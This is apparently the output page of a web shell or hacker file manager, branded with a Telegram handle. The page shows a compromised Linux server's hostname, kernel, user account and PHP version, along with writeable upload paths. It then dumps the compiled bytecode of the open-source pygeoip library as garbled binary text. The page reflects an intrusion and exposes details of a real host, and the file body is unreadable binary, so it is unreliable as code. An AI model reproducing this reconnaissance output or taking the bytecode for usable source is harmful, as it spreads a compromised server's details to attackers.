https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /usr/lib/python2.7/site-packages/pygeoip/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/lib/python2.7/site-packages/pygeoip/__init__.pyc
�
p�\c@s2dZdZddlZddlZddlZddlmZddlmZyddl	Z	Wne
k
rydZ	nXddlm
Z
mZddlmZmZddlmZer�eneZejZejZejZejZd	efd
��YZdefd��YZd
efd��YZdS(s�
Copyright (c) 2010-2014 Jennifer Ennis, William Tisäter.

This program is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU Lesser General Public License
along with this program.  If not, see <http://www.gnu.org/licenses/lgpl.txt>.
s0.3.2i����N(tfloor(tLock(tutiltconst(tPY2tPY3(ttime_zone_by_country_and_regiont
GeoIPErrorcBseZdZRS(s\
    Thin wrapper of `Exception`, will be thrown in case of an
    unrecoverable error.
    (t__name__t
__module__t__doc__(((s3/tmp/pip-install-yqhNPm/pygeoip/pygeoip/__init__.pyR-st_GeoIPMetaclasscBs eZiZe�Zd�ZRS(cOs�t|�dkr|d}nd|kr8|d}ndS|jdt�sgtt|�j||�SzE|jj�||j	kr�tt|�j||�|j	|<nWd|jj
�X|j	|S(s�
        Singleton method to gets an instance without reparsing
        the database, the filename is being used as cache key.
        itfilenametcacheN(tlentNonetgettTruetsuperRt__call__t_instance_locktacquiret
_instancestrelease(tclstargstkwargsR((s3/tmp/pip-install-yqhNPm/pygeoip/pygeoip/__init__.pyR9s


)(RR	RRRR(((s3/tmp/pip-install-yqhNPm/pygeoip/pygeoip/__init__.pyR5s	tGeoIPcBseZeZeed�Zd�Zd�Zd�Z	d�Z
d�Zd�Zd�Z
d�Zd	�Zd
�Zd�Zd�Zd
�Zd�Zd�Zd�Zd�ZeZeZeZeZd�Zd�Zd�Zd�Zd�Z d�Z!RS(cCs~t�|_||_d|_|jtj@ritdkriddl}|j	d�|jtjM_n|jtj@r�t
j|dt�}tj
}tj|j�dd|�|_d|_|j�n�|jtj@r-t
j|dt�}|j�|_tj|j�|_d|_|j�n!t
j|dt�|_d	|_z|jj�|j�Wd|jj�XdS(
s�
        Create and return an GeoIP instance.

        :arg filename: File path to a GeoIP database
        :arg flags: Flags that affect how the database is processed.
            Currently supported flags are STANDARD (default),
            MEMORY_CACHE (preload the whole file into memory) and
            MMAP_CACHE (access the file via mmap)
        :arg cache: Used in tests to skip instance caching
        i����Ns/MMAP_CACHE cannot be used without a mmap moduletrbitaccesst
MMAP_CACHEtMEMORY_CACHEtSTANDARD(Rt_lockt_flagsRt_netmaskRRtmmaptwarningstwarntcodecstopentENCODINGtACCESS_READtfilenot_fpt_typetcloseRtreadt_memoryRtstr2fpRt_setup_segmentsR(tselfRtflagsR
R%tfR((s3/tmp/pip-install-yqhNPm/pygeoip/pygeoip/__init__.pyt__init__Us2		
	!	
	
	
c	Cs�tj|_tj|_tj|_|jj�}|jj	dt
j�xDttj
�D]3}td�d}|jjd�}tr�t|�tkr�|jt�}ntr�|jt�}t|�tkr�|jt�}q�n||krv|jjd�}t|�|_|jdkr5|jd8_n|jtjkrVtj|_n|jtjkrwtj|_n�|jtjtjtjtjtj tj!tj"tj#tj$f	krrd|_|jjtj%�}trt|�tkr|jt�}nx8ttj%�D]'}|jt||�|d>7_qWtjtj f}|j|krrtj&|_qrnPqY|jj	d	t
j'�qYW|jj	|t
j(�d
S(s�
        Parses the database file to determine what kind of database is
        being used and setup segment sizes and start points that will
        be used by the seek*() methods later.
        i����i�iiijiiiii����N()RtCOUNTRY_EDITIONt
_databaseTypetSTANDARD_RECORD_LENGTHt
_recordLengtht
COUNTRY_BEGINt_databaseSegmentsR,ttelltseektostSEEK_ENDtrangetSTRUCTURE_INFO_MAX_SIZEtchrR/RttypetbytestdecodeR)RtstrtordtREGION_EDITION_REV0tSTATE_BEGIN_REV0tREGION_EDITION_REV1tSTATE_BEGIN_REV1tCITY_EDITION_REV0tCITY_EDITION_REV1tCITY_EDITION_REV1_V6tORG_EDITIONtISP_EDITIONtNETSPEED_EDITION_REV1tNETSPEED_EDITION_REV1_V6t
ASNUM_EDITIONtASNUM_EDITION_V6tSEGMENT_RECORD_LENGTHtORG_RECORD_LENGTHtSEEK_CURtSEEK_SET(	R3tfilepostitcharstdelimtbytetbuftjtLONG_RECORDS((s3/tmp/pip-install-yqhNPm/pygeoip/pygeoip/__init__.pyR2sX	%c

Cs9yd}tt|��dkr'dnd}x�t|dd�D]�}|jtj@r�d|j|}|d|j}|j||!}nhd|j|}d|j}z9|jj	�|j
j|tj
�|j
j|�}Wd|jj�Xtrt|�tkr|jt�}nddg}	xatd�D]S}
xJt|j�D]9}||j|
|}|	|
ct|�|d>7<qLWq6W|d	|>@r�|	d	|jkr�||d	|_|	d	S|	d	}q@|	d|jkr||d	|_|	dS|	d}q@WWnttfk
r(nXtd
��dS(s�
        Using the record length and appropriate start points, seek to the
        country that corresponds to the converted IP address integer.
        Return offset of record.

        :arg ipnum: Result of ip2long conversion
        ii
iii����iNiisCorrupt database(RRGRAR"RRR:R0R!RR,R>R?RYR/RRRDRERFR)RHR<R#t
IndexErrortUnicodeDecodeErrorR(
R3tipnumtoffsett
seek_depthtdeptht
startIndextendIndexR_t
readLengthtxR[R`R^((s3/tmp/pip-install-yqhNPm/pygeoip/pygeoip/__init__.pyt
_seek_country�sD$

&
cCs�|j|�}||jkr"dSd|jd|j}z@|jj�|jj||tj	�|jj
tj�}Wd|jj
�Xtr�t|�tkr�|jt�}n||jtd�� S(s�
        Seek and return organization or ISP name for ipnum.
        Return org/isp name.

        :arg ipnum: Result of ip2long conversion
        iiNi(RlR<RR:R!RR,R>R?RYR/RtMAX_ORG_RECORD_LENGTHRRRDRERFR)tindexRC(R3Rdtseek_orgtread_lengthR_((s3/tmp/pip-install-yqhNPm/pygeoip/pygeoip/__init__.pyt_get_org�s
c	Cs�d}d}|j|�}d�}|jtjkrx|tj}|dkrhd}||d�}q}tj|}n|jtjkr;|tj}|tj	kr�q}|tj
kr�d}||tj	�}q}|tjkr�d}||tj
�}q}|tjtj}|t
tj�kr}tj|}q}nB|jtjkr}|j|�}|jd�}|jd�}ni|d6|d6S(s�
        Seek and return the region information.
        Returns dict containing country_code and region_code.

        :arg ipnum: Result of ip2long conversion
        cSs;t|dd�}t|dd�}dj||g�S(NiiAt(RCtjoin(Retregion1tregion2((s3/tmp/pip-install-yqhNPm/pygeoip/pygeoip/__init__.pytget_region_codesi�tUStCAtregion_codetcountry_codeN(RRlR8RRIRJt
COUNTRY_CODESRKRLt	US_OFFSETt
CANADA_OFFSETtWORLD_OFFSETt
FIPS_RANGERt
CITY_EDITIONSt_get_recordR(	R3RdRyRztseek_countryRvtseek_regionRntrec((s3/tmp/pip-install-yqhNPm/pygeoip/pygeoip/__init__.pyt_get_regions8	

cCs|j|�}||jkr"iSd|jd|j}z@|jj�|jj||tj�|jj	t
j�}Wd|jj�Xt
r�t|�tkr�|jt�}nidd6dd6dd6dd6}d}d}t|d�}t
j||d	<t
j||d
<t
j||d<t
j||d<d
�}	|	|d�\}
|d<|	||
d�\}
|d<|	||
d�\}
|d<|
d}
x4td�D]&}|t||
|�|d>7}q�Wx8td�D]*}|t||
|d�|d>7}q�W|dd|d<|dd|d<|jt
jt
jfkr�|d	dkr�d}x8td�D]*}|t||
|d�|d>7}qqWtt|d��|d<|d|d<t
jj|d�|d<q�n|d	|df}
t |
�|d<|S(s�
        Populate location dict for converted IP.
        Returns dict with numerous location properties.

        :arg ipnum: Result of ip2long conversion
        iiNitdma_codet	area_codet
metro_codetpostal_codeRzt
country_code3tcountry_namet	continentcSsJ|}x||dkr&|d7}q	W|||krC|||!ndfS(Nti(R(R_tpostcur((s3/tmp/pip-install-yqhNPm/pygeoip/pygeoip/__init__.pyt	read_data]sRytcityiig��@g�f@tlatitudet	longitudeRwii�t	time_zone(!RlR<R:R!RR,R>R?RYR/RtFULL_RECORD_LENGTHRRRDRERFR)RRHR{tCOUNTRY_CODES3t
COUNTRY_NAMEStCONTINENT_NAMESRAR8RNROtintRtDMA_MAPRR(R3RdR�RpR_trecordR�R�tcharR�ReR`tdma_areatparams((s3/tmp/pip-install-yqhNPm/pygeoip/pygeoip/__init__.pyR�7sZ

	
$(( cCsj|jtjkrYtj|dtj�}|d\}}}}}|\}}	}
}|Stj|�SdS(sF
        Hostname lookup method, supports both IPv4 and IPv6.
        iN(R8Rt
IPV6_EDITIONStsockettgetaddrinfotAF_INET6t
gethostbyname(R3thostnametresponsetfamilytsocktypetprotot	canonnametsockaddrtaddresstporttflowtscope((s3/tmp/pip-install-yqhNPm/pygeoip/pygeoip/__init__.pyt_gethostbyname�scCs|j|�}|j|�S(s�
        Returns the database ID for specified hostname.
        The id might be useful as array index. 0 is unknown.

        :arg hostname: Hostname to get ID from.
        (R�t
id_by_addr(R3R�taddr((s3/tmp/pip-install-yqhNPm/pygeoip/pygeoip/__init__.pyt
id_by_name�scCs�|jtjtjtjfkr0td��n|jd�dkrKdnd}|dkr�|jtjtjfkr�td��n|dkr�|jtj	kr�td��nt
j|�}|j|�tj
S(s�
        Returns the database ID for specified address.
        The ID might be useful as array index. 0 is unknown.

        :arg addr: IPv4 or IPv6 address (eg. 203.0.113.30)
        s5Invalid database type; this database is not supportedt:iiisFInvalid database type; this database supports IPv6 addresses, not IPv4sFInvalid database type; this database supports IPv4 addresses, not IPv6(R8Rt
PROXY_EDITIONRRRSRtfindR7tNETSPEED_EDITIONtCOUNTRY_EDITION_V6Rtip2longRlR;(R3R�tipvRd((s3/tmp/pip-install-yqhNPm/pygeoip/pygeoip/__init__.pyR��s!!'cCs|jS(s?
        Returns the netmask depth of the last lookup.
        (R#(R3((s3/tmp/pip-install-yqhNPm/pygeoip/pygeoip/__init__.pytlast_netmask�scCsstjtjf}|j|kr;|j|�}tj|S|jtjkrc|j|�jd�St	d��dS(s}
        Returns 2-letter country code (e.g. US) from IP address.

        :arg addr: IP address (e.g. 203.0.113.30)
        Rzs7Invalid database type, expected Country, City or RegionN(
RR7R�R8R�R{tREGION_CITY_EDITIONStregion_by_addrRR(R3R�tVALID_EDITIONSt
country_id((s3/tmp/pip-install-yqhNPm/pygeoip/pygeoip/__init__.pytcountry_code_by_addr�scCs|j|�}|j|�S(s|
        Returns 2-letter country code (e.g. US) from hostname.

        :arg hostname: Hostname (e.g. example.com)
        (R�R�(R3R�R�((s3/tmp/pip-install-yqhNPm/pygeoip/pygeoip/__init__.pytcountry_code_by_name�scCsm|jtjkr&tj|j|�S|jtjtjfkr]tj|�}|j	|�St
d��dS(sh
        Returns NetSpeed name from address.

        :arg addr: IP address (e.g. 203.0.113.30)
        s8Invalid database type, expected NetSpeed or NetSpeedCellN(R8RR�tNETSPEED_NAMESR�RRRSRR�RqR(R3R�Rd((s3/tmp/pip-install-yqhNPm/pygeoip/pygeoip/__init__.pytnetspeed_by_addr�s
cCs|j|�}|j|�S(s�
        Returns NetSpeed name from hostname. Can be Unknown, Dial-up,
        Cable, or Corporate.

        :arg hostname: Hostname (e.g. example.com)
        (R�R�(R3R�R�((s3/tmp/pip-install-yqhNPm/pygeoip/pygeoip/__init__.pytnetspeed_by_name�scCsytjtjf}|j|kr;|j|�}tj|S|jtjkrc|j|�jd�Sd}t	|��dS(sx
        Returns full country name for specified IP address.

        :arg addr: IP address (e.g. 203.0.113.30)
        R�s/Invalid database type, expected Country or CityN(
RR7R�R8R�R�R�trecord_by_addrRR(R3R�R�R�tmessage((s3/tmp/pip-install-yqhNPm/pygeoip/pygeoip/__init__.pytcountry_name_by_addr�scCs|j|�}|j|�S(sw
        Returns full country name for specified hostname.

        :arg hostname: Hostname (e.g. example.com)
        (R�R�(R3R�R�((s3/tmp/pip-install-yqhNPm/pygeoip/pygeoip/__init__.pytcountry_name_by_name�scCs^tjtjtjtjf}|j|krBd}t|��ntj|�}|j	|�S(s�
        Returns Organization, ISP, or ASNum name for given IP address.

        :arg addr: IP address (e.g. 203.0.113.30)
        s1Invalid database type, expected Org, ISP or ASNum(
RRPRQRTRUR8RRR�Rq(R3R�tvalidR�Rd((s3/tmp/pip-install-yqhNPm/pygeoip/pygeoip/__init__.pytorg_by_addr�scCs|j|�}|j|�S(s�
        Returns Organization, ISP, or ASNum name for given hostname.

        :arg hostname: Hostname (e.g. example.com)
        (R�R�(R3R�R�((s3/tmp/pip-install-yqhNPm/pygeoip/pygeoip/__init__.pytorg_by_namescCsS|jtjkr'd}t|��ntj|�}|j|�}|sOdS|S(s!
        Returns dictionary with city data containing `country_code`, `country_name`,
        `region`, `city`, `postal_code`, `latitude`, `longitude`, `dma_code`,
        `metro_code`, `area_code`, `region_code` and `time_zone`.

        :arg addr: IP address (e.g. 203.0.113.30)
        s$Invalid database type, expected CityN(R8RR�RRR�R�R(R3R�R�RdR�((s3/tmp/pip-install-yqhNPm/pygeoip/pygeoip/__init__.pyR�scCs|j|�}|j|�S(s"
        Returns dictionary with city data containing `country_code`, `country_name`,
        `region`, `city`, `postal_code`, `latitude`, `longitude`, `dma_code`,
        `metro_code`, `area_code`, `region_code` and `time_zone`.

        :arg hostname: Hostname (e.g. example.com)
        (R�R�(R3R�R�((s3/tmp/pip-install-yqhNPm/pygeoip/pygeoip/__init__.pytrecord_by_name)scCsC|jtjkr'd}t|��ntj|�}|j|�S(s�
        Returns dictionary containing `country_code` and `region_code`.

        :arg addr: IP address (e.g. 203.0.113.30)
        s.Invalid database type, expected Region or City(R8RR�RRR�R�(R3R�R�Rd((s3/tmp/pip-install-yqhNPm/pygeoip/pygeoip/__init__.pyR�4s
cCs|j|�}|j|�S(s�
        Returns dictionary containing `country_code` and `region_code`.

        :arg hostname: Hostname (e.g. example.com)
        (R�R�(R3R�R�((s3/tmp/pip-install-yqhNPm/pygeoip/pygeoip/__init__.pytregion_by_nameAscCsL|jtjkr'd}t|��ntj|�}|j|�jd�S(s�
        Returns time zone in tzdata format (e.g. America/New_York or Europe/Paris)

        :arg addr: IP address (e.g. 203.0.113.30)
        s$Invalid database type, expected CityR�(R8RR�RRR�R�R(R3R�R�Rd((s3/tmp/pip-install-yqhNPm/pygeoip/pygeoip/__init__.pyttime_zone_by_addrJs
cCs|j|�}|j|�S(s�
        Returns time zone in tzdata format (e.g. America/New_York or Europe/Paris)

        :arg hostname: Hostname (e.g. example.com)
        (R�R�(R3R�R�((s3/tmp/pip-install-yqhNPm/pygeoip/pygeoip/__init__.pyttime_zone_by_nameWs("RR	Rt
__metaclass__R RR6R2RlRqR�R�R�R�R�R�R�R�R�R�R�R�R�R�tisp_by_addrtisp_by_nametasn_by_addrtasn_by_nameR�R�R�R�R�R�(((s3/tmp/pip-install-yqhNPm/pygeoip/pygeoip/__init__.pyRRs:*	B	2		,	I		
							
									
			
( R
t__version__R?R�R'tmathRt	threadingRR$tImportErrorRtpygeoipRRt
pygeoip.constRRtpygeoip.timezoneRtxrangeRAR RRR)t	ExceptionRRDRtobjectR(((s3/tmp/pip-install-yqhNPm/pygeoip/pygeoip/__init__.pyt<module>s*

				

https://t.me/AnonymousX5 - 2025